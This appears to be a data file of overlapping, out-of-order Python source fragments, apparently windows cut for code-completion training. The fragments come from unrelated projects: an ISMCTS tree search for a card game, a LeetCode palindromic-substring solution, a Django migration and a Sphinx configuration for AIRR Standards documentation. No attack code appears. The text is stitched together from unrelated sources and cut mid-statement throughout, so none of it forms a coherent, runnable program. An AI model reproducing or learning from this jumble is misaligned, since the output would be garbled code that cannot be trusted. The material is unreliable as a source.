"#print \"Iterating through back propogation\" current_node.sims += 1 if player_wins: current_node.wins += 1",
"= True else: self.terminal = False def get_actions(self): actions = [] for edge",
"not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0 for edge in current_node.edges: node_score",
"0: self.terminal = True else: self.terminal = False def get_actions(self): actions = []",
"self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o",
"InfoSet(player, opponent) self.turn_number = turn_number self.sims = 0 self.wins = 0 self.edges =",
"current_node = edge.pre_node def ucb1(self, node_score, total_sims, edge_sims): c = math.sqrt(2) #c =",
"edge_choice.post_node return current_node, edges def expand(self, pre_node, player, opponent, action, turn_number, is_player_turn): post_node",
"numpy as np import logging class Node(): def __init__(self, player, opponent, turn_number, is_player_turn):",
"total_sims, edge_sims): c = math.sqrt(2) #c = .1 return node_score + (c *",
"ucb1_score > max_score: edge_choice = edge max_score = ucb1_score edges.append(edge_choice) current_node = edge_choice.post_node",
"ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0 for edge in",
"self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o",
"self.opponent.life_points == 0: self.terminal = True else: self.terminal = False def get_actions(self): actions",
"logging.debug('Traversing ISMCTS') while not current_node.isLeaf(): #edge_choice = random.choice(current_node.edges) max_score = 0 for edge",
"\":\" + str(opponent_board_ids) + \":\" + str(opponent_grave_ids)) class ISMCTS(): def __init__(self, root): self.root",
"player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node = node while current_node != None:",
"get_actions(self): actions = [] for edge in self.edges: actions.append(edge.action) return actions def isLeaf(self):",
"__len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node) def select_sim_node(self): current_node = self.root edges",
"back propogation\" current_node.sims += 1 if player_wins: current_node.wins += 1 if not edges:",
"current_node.edges: node_score = (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score",
"if player_wins: current_node.wins += 1 if not edges: current_node = None else: edge",
"player, opponent, turn_number, is_player_turn): self.player = player self.opponent = opponent self.info_set = InfoSet(player,",
"0 or self.opponent.life_points == 0: self.terminal = True else: self.terminal = False def",
"player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self, other):",
"self.turn = player else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points ==",
"return True class Edge(): def __init__(self, pre_node, post_node, action): self.pre_node = pre_node self.post_node",
"expand(self, pre_node, player, opponent, action, turn_number, is_player_turn): post_node = Node(player, opponent, turn_number, is_player_turn)",
"edge_sims): c = math.sqrt(2) #c = .1 return node_score + (c * math.sqrt(np.log(total_sims)/edge_sims))",
"self.turn_number = turn_number self.sims = 0 self.wins = 0 self.edges = [] if",
"return False else: return True class Edge(): def __init__(self, pre_node, post_node, action): self.pre_node",
"pre_node self.post_node = post_node self.turn = pre_node.turn self.action = action class InfoSet(): def",
"Edge(): def __init__(self, pre_node, post_node, action): self.pre_node = pre_node self.post_node = post_node self.turn",
"Node(player, opponent, turn_number, is_player_turn) edge = Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge,",
"other): return not self.__eq__(other) def __hash__(self): player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort()",
"pre_node, post_node, action): self.pre_node = pre_node self.post_node = post_node self.turn = pre_node.turn self.action",
"+ str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\" +",
"post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self, node, edges, player_wins): #print",
"self.action = action class InfoSet(): def __init__(self, player, opponent): self.player_hand = player.hand self.player_board",
"opponent) self.turn_number = turn_number self.sims = 0 self.wins = 0 self.edges = []",
"InfoSet(): def __init__(self, player, opponent): self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size =",
"len(edges), \"edges\" current_node = node while current_node != None: #print \"Iterating through back",
"other.player_board and self.opponent_hand_size == other.opponent_hand_size and self.opponent_board == other.self.opponent_board) return False def __ne__(self,",
"player_hand_ids = (o.card_id for o in self.player_hand.get_cards()).sort() player_board_ids = (o.card_id for o in",
"= (edge.pre_node.wins / float(edge.pre_node.sims)) ucb1_score = self.ucb1(node_score, edge.pre_node.sims, edge.post_node.sims) if ucb1_score > max_score:",
"Node(): def __init__(self, player, opponent, turn_number, is_player_turn): self.player = player self.opponent = opponent",
"edges def expand(self, pre_node, player, opponent, action, turn_number, is_player_turn): post_node = Node(player, opponent,",
"root self.tree = set() self.add_node(root) def __len__(self): return len(self.tree) def add_node(self, node): self.tree.add(node)",
"self.terminal = True else: self.terminal = False def get_actions(self): actions = [] for",
"1 if not edges: current_node = None else: edge = edges.pop(-1) current_node ="
] |
[
"s: str :rtype: int \"\"\" ans = 0 for center in xrange(2*len(s) -",
"\"a\", \"aa\", \"aa\", \"aaa\". Note: The input string length won't exceed 1000. '''",
"def countSubstrings(self, s): \"\"\" :type s: str :rtype: int \"\"\" ans = 0",
"string, your task is to count how many palindromic substrings in this string.",
"your task is to count how many palindromic substrings in this string. The",
"palindromic substrings in this string. The substrings with different start indexes or end",
"Example 2: Input: \"aaa\" Output: 6 Explanation: Six palindromic strings: \"a\", \"a\", \"a\",",
"2: Input: \"aaa\" Output: 6 Explanation: Six palindromic strings: \"a\", \"a\", \"a\", \"aa\",",
"0 for center in xrange(2*len(s) - 1): left = center / 2 right",
"% 2 while left >= 0 and right < len(s) and s[left] ==",
"+ center % 2 while left >= 0 and right < len(s) and",
"end indexes are counted as different substrings even they consist of same characters.",
"1000. ''' class Solution(object): def countSubstrings(self, s): \"\"\" :type s: str :rtype: int",
"\"aa\", \"aaa\". Note: The input string length won't exceed 1000. ''' class Solution(object):",
"length won't exceed 1000. ''' class Solution(object): def countSubstrings(self, s): \"\"\" :type s:",
"many palindromic substrings in this string. The substrings with different start indexes or",
"exceed 1000. ''' class Solution(object): def countSubstrings(self, s): \"\"\" :type s: str :rtype:",
"string. The substrings with different start indexes or end indexes are counted as",
"strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The input string length won't",
"input string length won't exceed 1000. ''' class Solution(object): def countSubstrings(self, s): \"\"\"",
"same characters. Example 1: Input: \"abc\" Output: 3 Explanation: Three palindromic strings: \"a\",",
"1): left = center / 2 right = left + center % 2",
"right < len(s) and s[left] == s[right]: ans += 1 left -= 1",
"= left + center % 2 while left >= 0 and right <",
"center % 2 while left >= 0 and right < len(s) and s[left]",
"counted as different substrings even they consist of same characters. Example 1: Input:",
"\"abc\" Output: 3 Explanation: Three palindromic strings: \"a\", \"b\", \"c\". Example 2: Input:",
"indexes or end indexes are counted as different substrings even they consist of",
"2 right = left + center % 2 while left >= 0 and",
"< len(s) and s[left] == s[right]: ans += 1 left -= 1 right",
"\"\"\" ans = 0 for center in xrange(2*len(s) - 1): left = center",
"palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The input string length",
"\"\"\" :type s: str :rtype: int \"\"\" ans = 0 for center in",
"won't exceed 1000. ''' class Solution(object): def countSubstrings(self, s): \"\"\" :type s: str",
"= 0 for center in xrange(2*len(s) - 1): left = center / 2",
"different start indexes or end indexes are counted as different substrings even they",
"string length won't exceed 1000. ''' class Solution(object): def countSubstrings(self, s): \"\"\" :type",
"task is to count how many palindromic substrings in this string. The substrings",
"palindromic strings: \"a\", \"b\", \"c\". Example 2: Input: \"aaa\" Output: 6 Explanation: Six",
"in xrange(2*len(s) - 1): left = center / 2 right = left +",
"while left >= 0 and right < len(s) and s[left] == s[right]: ans",
"str :rtype: int \"\"\" ans = 0 for center in xrange(2*len(s) - 1):",
"center / 2 right = left + center % 2 while left >=",
":type s: str :rtype: int \"\"\" ans = 0 for center in xrange(2*len(s)",
"Solution(object): def countSubstrings(self, s): \"\"\" :type s: str :rtype: int \"\"\" ans =",
"int \"\"\" ans = 0 for center in xrange(2*len(s) - 1): left =",
"center in xrange(2*len(s) - 1): left = center / 2 right = left",
"even they consist of same characters. Example 1: Input: \"abc\" Output: 3 Explanation:",
"Input: \"abc\" Output: 3 Explanation: Three palindromic strings: \"a\", \"b\", \"c\". Example 2:",
"= center / 2 right = left + center % 2 while left",
"0 and right < len(s) and s[left] == s[right]: ans += 1 left",
"len(s) and s[left] == s[right]: ans += 1 left -= 1 right +=",
"- 1): left = center / 2 right = left + center %",
"as different substrings even they consist of same characters. Example 1: Input: \"abc\"",
"The substrings with different start indexes or end indexes are counted as different",
"/ 2 right = left + center % 2 while left >= 0",
"\"b\", \"c\". Example 2: Input: \"aaa\" Output: 6 Explanation: Six palindromic strings: \"a\",",
"are counted as different substrings even they consist of same characters. Example 1:",
"2 while left >= 0 and right < len(s) and s[left] == s[right]:",
"''' Given a string, your task is to count how many palindromic substrings",
"\"a\", \"b\", \"c\". Example 2: Input: \"aaa\" Output: 6 Explanation: Six palindromic strings:",
"consist of same characters. Example 1: Input: \"abc\" Output: 3 Explanation: Three palindromic",
"class Solution(object): def countSubstrings(self, s): \"\"\" :type s: str :rtype: int \"\"\" ans",
"s): \"\"\" :type s: str :rtype: int \"\"\" ans = 0 for center",
"they consist of same characters. Example 1: Input: \"abc\" Output: 3 Explanation: Three",
"countSubstrings(self, s): \"\"\" :type s: str :rtype: int \"\"\" ans = 0 for",
"is to count how many palindromic substrings in this string. The substrings with",
"Input: \"aaa\" Output: 6 Explanation: Six palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\",",
"in this string. The substrings with different start indexes or end indexes are",
"Example 1: Input: \"abc\" Output: 3 Explanation: Three palindromic strings: \"a\", \"b\", \"c\".",
"for center in xrange(2*len(s) - 1): left = center / 2 right =",
"== s[right]: ans += 1 left -= 1 right += 1 return ans",
"Explanation: Three palindromic strings: \"a\", \"b\", \"c\". Example 2: Input: \"aaa\" Output: 6",
"substrings even they consist of same characters. Example 1: Input: \"abc\" Output: 3",
"start indexes or end indexes are counted as different substrings even they consist",
"\"aaa\" Output: 6 Explanation: Six palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\".",
"\"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The input string length won't exceed",
"count how many palindromic substrings in this string. The substrings with different start",
"3 Explanation: Three palindromic strings: \"a\", \"b\", \"c\". Example 2: Input: \"aaa\" Output:",
"right = left + center % 2 while left >= 0 and right",
"substrings in this string. The substrings with different start indexes or end indexes",
"Note: The input string length won't exceed 1000. ''' class Solution(object): def countSubstrings(self,",
"\"aaa\". Note: The input string length won't exceed 1000. ''' class Solution(object): def",
"and s[left] == s[right]: ans += 1 left -= 1 right += 1",
"ans = 0 for center in xrange(2*len(s) - 1): left = center /",
"\"c\". Example 2: Input: \"aaa\" Output: 6 Explanation: Six palindromic strings: \"a\", \"a\",",
"strings: \"a\", \"b\", \"c\". Example 2: Input: \"aaa\" Output: 6 Explanation: Six palindromic",
"1: Input: \"abc\" Output: 3 Explanation: Three palindromic strings: \"a\", \"b\", \"c\". Example",
"s[left] == s[right]: ans += 1 left -= 1 right += 1 return",
"to count how many palindromic substrings in this string. The substrings with different",
"\"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The input string length won't exceed 1000.",
"of same characters. Example 1: Input: \"abc\" Output: 3 Explanation: Three palindromic strings:",
"indexes are counted as different substrings even they consist of same characters. Example",
"with different start indexes or end indexes are counted as different substrings even",
"different substrings even they consist of same characters. Example 1: Input: \"abc\" Output:",
"and right < len(s) and s[left] == s[right]: ans += 1 left -=",
"substrings with different start indexes or end indexes are counted as different substrings",
"how many palindromic substrings in this string. The substrings with different start indexes",
"Output: 6 Explanation: Six palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note:",
"a string, your task is to count how many palindromic substrings in this",
"<filename>DynamicProgramming/PalindromicSubstrings.py<gh_stars>0 ''' Given a string, your task is to count how many palindromic",
"or end indexes are counted as different substrings even they consist of same",
"left = center / 2 right = left + center % 2 while",
"Output: 3 Explanation: Three palindromic strings: \"a\", \"b\", \"c\". Example 2: Input: \"aaa\"",
":rtype: int \"\"\" ans = 0 for center in xrange(2*len(s) - 1): left",
"The input string length won't exceed 1000. ''' class Solution(object): def countSubstrings(self, s):",
"Explanation: Six palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The input",
"xrange(2*len(s) - 1): left = center / 2 right = left + center",
"6 Explanation: Six palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The",
"\"aa\", \"aa\", \"aaa\". Note: The input string length won't exceed 1000. ''' class",
">= 0 and right < len(s) and s[left] == s[right]: ans += 1",
"characters. Example 1: Input: \"abc\" Output: 3 Explanation: Three palindromic strings: \"a\", \"b\",",
"Six palindromic strings: \"a\", \"a\", \"a\", \"aa\", \"aa\", \"aaa\". Note: The input string",
"Given a string, your task is to count how many palindromic substrings in",
"''' class Solution(object): def countSubstrings(self, s): \"\"\" :type s: str :rtype: int \"\"\"",
"left >= 0 and right < len(s) and s[left] == s[right]: ans +=",
"this string. The substrings with different start indexes or end indexes are counted",
"Three palindromic strings: \"a\", \"b\", \"c\". Example 2: Input: \"aaa\" Output: 6 Explanation:",
"left + center % 2 while left >= 0 and right < len(s)"
] |
[
"-*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-11-07 22:29 from",
"utf-8 -*- # Generated by Django 1.9.7 on 2016-11-07 22:29 from __future__ import",
"# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-11-07 22:29",
"django.db import models class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations =",
"'0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='files', to='contentcuration.AssessmentItem'),",
"from django.db import migrations from django.db import models class Migration(migrations.Migration): dependencies = [",
"Django 1.9.7 on 2016-11-07 22:29 from __future__ import unicode_literals import django.db.models.deletion from django.db",
"2016-11-07 22:29 from __future__ import unicode_literals import django.db.models.deletion from django.db import migrations from",
"by Django 1.9.7 on 2016-11-07 22:29 from __future__ import unicode_literals import django.db.models.deletion from",
"django.db import migrations from django.db import models class Migration(migrations.Migration): dependencies = [ ('contentcuration',",
"= [ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True, null=True,",
"Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file', name='assessment_item',",
"migrations from django.db import models class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ]",
"models class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField(",
"coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-11-07 22:29 from __future__",
"django.db.models.deletion from django.db import migrations from django.db import models class Migration(migrations.Migration): dependencies =",
"Generated by Django 1.9.7 on 2016-11-07 22:29 from __future__ import unicode_literals import django.db.models.deletion",
"import models class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [",
"dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True,",
"import migrations from django.db import models class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'),",
"operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='files', to='contentcuration.AssessmentItem'), ), ]",
"import django.db.models.deletion from django.db import migrations from django.db import models class Migration(migrations.Migration): dependencies",
"from django.db import models class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations",
"1.9.7 on 2016-11-07 22:29 from __future__ import unicode_literals import django.db.models.deletion from django.db import",
"unicode_literals import django.db.models.deletion from django.db import migrations from django.db import models class Migration(migrations.Migration):",
"-*- # Generated by Django 1.9.7 on 2016-11-07 22:29 from __future__ import unicode_literals",
"('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='files',",
"22:29 from __future__ import unicode_literals import django.db.models.deletion from django.db import migrations from django.db",
"import unicode_literals import django.db.models.deletion from django.db import migrations from django.db import models class",
"class Migration(migrations.Migration): dependencies = [ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file',",
"[ ('contentcuration', '0039_auto_20161101_1555'), ] operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,",
"on 2016-11-07 22:29 from __future__ import unicode_literals import django.db.models.deletion from django.db import migrations",
"from __future__ import unicode_literals import django.db.models.deletion from django.db import migrations from django.db import",
"__future__ import unicode_literals import django.db.models.deletion from django.db import migrations from django.db import models",
"] operations = [ migrations.AddField( model_name='file', name='assessment_item', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='files', to='contentcuration.AssessmentItem'), ),",
"# Generated by Django 1.9.7 on 2016-11-07 22:29 from __future__ import unicode_literals import"
] |
[
"will break. # # # # Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden':",
"that not all possible configuration values are present in this # autogenerated file.",
"the version of Bootstrap # # that's used (the next config option). #",
"'index' # General information about the project. project = 'AIRR Standards' copyright =",
"True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} #",
"(Default: \"Page\") # 'navbar_pagenav_name': 'Page', # # # Global TOC depth for \"site\"",
"'Thumbs.db', '.DS_Store'] # Add any paths that contain templates here, relative to this",
"os.path.abspath to make it absolute, like shown here. # -- Imports ---------------------------------------------------------------- import",
"of page? # # Values: \"true\" (default) or \"false\" # 'navbar_fixed_top': 'true', #",
"= { # # Navigation bar title. (Default: ``project`` value) # 'navbar_title': 'AIRR",
"'2017-2021, AIRR Community' author = 'AIRR Community' # The name of the Pygments",
"'10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', #",
"serve to show the default. # If extensions (or modules to document with",
"# |version| and |release|, also used in various other places throughout the #",
"data_elements[spec] # -- Write download tables ------------------------------------------------ # Write download spec files download_path",
"\"cosmo\" or \"sandstone\". # # # # The set of valid themes depend",
"# # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)], # #",
"# # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp',",
"python3 # -*- coding: utf-8 -*- # # airr-standards documentation build configuration file,",
"with parsed rows of the spec table. \"\"\" data_type_map = {'string': 'free text',",
"# # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #",
"', '.join(attr['enum']) elif attr.get('items', None) is not None: data_format = 'Controlled vocabulary: %s'",
"{ # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', #",
"parsed from the yaml file. Returns: list: list of dictionaries with parsed rows",
"raw:: html <br /> ''' # Minimal Sphinx version needs_sphinx = '1.6' #",
"theme # # such as \"cosmo\" or \"sandstone\". # # # # The",
"Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of",
"and 'ontology' in xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) #",
"the following forms: # # (name, page) # a link to a page",
"# # # # Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false', #",
"directory, that match files and # directories to ignore when looking for source",
"# 'navigation.html', # 'searchbox.html']} # PyData options # html_theme = \"pydata_sphinx_theme\" html_theme =",
"# Include hidden TOCs in Site navbar? # # # # Note: If",
"Documentation', author, 'airr-standards', 'One line description of project.', 'Miscellaneous'), ] # -- Build",
"Choose Bootstrap version. # # Values: \"3\" (default) or \"2\" (in quotes) #",
"Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false', # # # HTML navbar",
"extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions source_suffix =",
"containing dir. # # Note that not all possible configuration values are present",
"containing pages or urls to link to. # # Valid tuples should be",
"{ id: %s, value: %s}}' % (ontology_format) # Get 'type' for ontology example",
"directory. templates_path = ['_templates'] # The master toctree document. master_doc = 'index' #",
"% spec), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec])",
"if attr.get('enum', None) is not None: data_format = 'Controlled vocabulary: %s' % ',",
"controlled vocabularies if 'format' in xairr: if xairr['format'] == 'ontology' and 'ontology' in",
"------------------------------------------------ # Write download spec files download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path)",
"shown here. # -- Imports ---------------------------------------------------------------- import csv import os import sys import",
"of tuples # (source start file, target name, title, author, # dir menu",
"# Choose Bootstrap version. # # Values: \"3\" (default) or \"2\" (in quotes)",
"files. List of tuples # (source start file, target name, title, # author,",
"attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None: sn",
"1) # a link to an arbitrary relative url # # (name, \"http://example.com\",",
"data format for ontologies and controlled vocabularies if 'format' in xairr: if xairr['format']",
"# PyData options # html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\"",
"table_rows.append(r) return(table_rows) # Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema =",
"in tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f: writer = csv.DictWriter(f,",
"bar to top of page? # # Values: \"true\" (default) or \"false\" #",
"Python environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs",
"overwrite the builtin \"default.css\". html_static_path = ['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc'",
"'globaltoc.html']} # html_theme_options = { # # Navigation bar title. (Default: ``project`` value)",
"# -- Write download tables ------------------------------------------------ # Write download spec files download_path =",
"# A list of tuples containing pages or urls to link to. #",
"# html_sidebars = {'**': ['about.html', # 'navigation.html', # 'searchbox.html']} # PyData options #",
"-- Imports ---------------------------------------------------------------- import csv import os import sys import yaml import yamlordereddictloader",
"# # # Include hidden TOCs in Site navbar? # # # #",
"chop down long strings of the table def wrap_col(string, str_length=11): \"\"\" String wrap",
"tab. (Default: 1) # # Switching to -1 shows all levels. # 'globaltoc_depth':",
"1, # # # Include hidden TOCs in Site navbar? # # #",
"'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier, 'Attributes': field_attributes} table_rows.append(r) return(table_rows) #",
"(ontology_format) # Get 'type' for ontology example = 'id: %s, value: %s' %",
"relative to this directory. templates_path = ['_templates'] # The master toctree document. master_doc",
"A list of tuples containing pages or urls to link to. # #",
"\"false\", you cannot have mixed ``:hidden:`` and # # non-hidden ``toctree`` directives in",
"'') description = attr.get('description', '') # Data type data_type = attr.get('type', '') data_format",
"x-airr attributes if 'x-airr' in attr: xairr = attr['x-airr'] nullable = xairr.get('nullable', True)",
"arbitrary absolute url # # Note the \"1\" or \"True\" value above as",
"'navbar_fixed_top': 'true', # # # Location of link to source. # # Options",
"+ '_schema'] = data_elements[spec] # -- Write download tables ------------------------------------------------ # Write download",
"values that are commented out # serve to show the default. # If",
"== 'controlled vocabulary': if attr.get('enum', None) is not None: data_format = 'Controlled vocabulary:",
"entry per manual page. List of tuples # (source start file, name, description,",
"writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from",
"\"false\" # 'globaltoc_includehidden': 'false', # # # HTML navbar class (Default: \"navbar\") to",
"set to its # containing dir. # # Note that not all possible",
"# The short X.Y version. version = str(airr_schema['Info']['version']) # The full version, including",
"# that's used (the next config option). # # # # Currently, the",
"# 'navbar_title': 'AIRR Community Standards', # # # Tab name for entire site.",
"entire site. (Default: \"Site\") # 'navbar_site_name': 'Contents', # # # A list of",
"directory, # add these directories to sys.path here. If the directory is relative",
"highlight_language = 'bash' pygments_style = 'vs' # If true, `todo` and `todoList` produce",
"r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual spec TSVs fields =",
"'1.6' # Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define",
"example['label']) elif xairr['format'] == 'controlled vocabulary': if attr.get('enum', None) is not None: data_format",
"'globaltoc_depth': 1, # # # Include hidden TOCs in Site navbar? # #",
"# Render the next and previous page links in navbar. (Default: true) #",
"'free text', 'integer': 'positive integer', 'number': 'positive number', 'boolean': 'true | false'} #",
"page output --------------------------------------- # One entry per manual page. List of tuples #",
"'Attributes', 'Definition'] tables = ['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun',",
"or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or",
"'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)], # # # Render",
"if 'properties' not in airr_schema[spec]: continue # Storage object data_elements[spec] = parse_schema(spec, airr_schema)",
"valid themes depend on the version of Bootstrap # # that's used (the",
"dictionary parsed from the yaml file. Returns: list: list of dictionaries with parsed",
"individual spec TSVs fields = ['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire', 'Study',",
"# autogenerated file. # # All configuration values have a default; values that",
"{'**': ['about.html', # 'navigation.html', # 'searchbox.html']} # PyData options # html_theme = \"pydata_sphinx_theme\"",
"pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', # # # Global TOC depth",
"'AIRR_Minimal_Standard_Data_Elements'), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec",
"'optional', 'identifier' if identifier else '', 'nullable' if nullable else ''] field_attributes =",
"schema (dict): master schema dictionary parsed from the yaml file. Returns: list: list",
"builtin \"default.css\". html_static_path = ['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster",
"page, or else the build # # will break. # # # #",
"download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write MiAIRR TSV fields =",
"airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate over schema and",
"data_format = data_type_map.get(data_type, '') # Arrays if data_type == 'array': if attr['items'].get('$ref') is",
"down long strings of the table def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\"",
"commented out # serve to show the default. # If extensions (or modules",
"x in string.split(' ') if len(x) > 25]: parts = [string[i:i + str_length].strip()",
"\"Site\") # 'navbar_site_name': 'Contents', # # # A list of tuples containing pages",
"list: list of dictionaries with parsed rows of the spec table. \"\"\" data_type_map",
"data_type = 'array of :ref:`%s <%sFields>`' % (sn, sn) elif attr['items'].get('type') is not",
"['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = {",
"Render the current pages TOC in the navbar. (Default: true) # 'navbar_pagenav': True,",
"# 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble':",
"Location of link to source. # # Options are \"nav\" (default), \"footer\" or",
"X.Y version. version = str(airr_schema['Info']['version']) # The full version, including alpha/beta/rc tags. release",
"# html_theme_options = { # # Navigation bar title. (Default: ``project`` value) #",
"(Default: true) # 'navbar_pagenav': True, # # # Tab name for the current",
"'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable = True deprecated = False",
"source file extensions source_suffix = ['.rst'] # List of patterns, relative to source",
"'' miairr_set = '' miairr_subset = '' if deprecated: field_attributes = 'DEPRECATED' else:",
"'AIRR Community' # The name of the Pygments (syntax highlighting) style to use.",
"element. # # For black navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', #",
"value: %s' % (example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary': if attr.get('enum', None)",
"'ontology' in xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace",
"a valid theme # # such as \"cosmo\" or \"sandstone\". # # #",
"\"\"\" String wrap \"\"\" if [x for x in string.split(' ') if len(x)",
"attr: xairr = attr['x-airr'] nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier",
"Texinfo files. List of tuples # (source start file, target name, title, author,",
"# (source start file, target name, title, author, # dir menu entry, description,",
"path sys.path.append(os.path.abspath('.')) # Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class",
"else '', 'nullable' if nullable else ''] field_attributes = ', '.join(filter(lambda x: x",
"= ['_build', 'Thumbs.db', '.DS_Store'] # Add any paths that contain templates here, relative",
"'navbar_site_name': 'Contents', # # # A list of tuples containing pages or urls",
"when looking for source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add any",
"14:47:21 2017. # # This file is execfile()d with the current directory set",
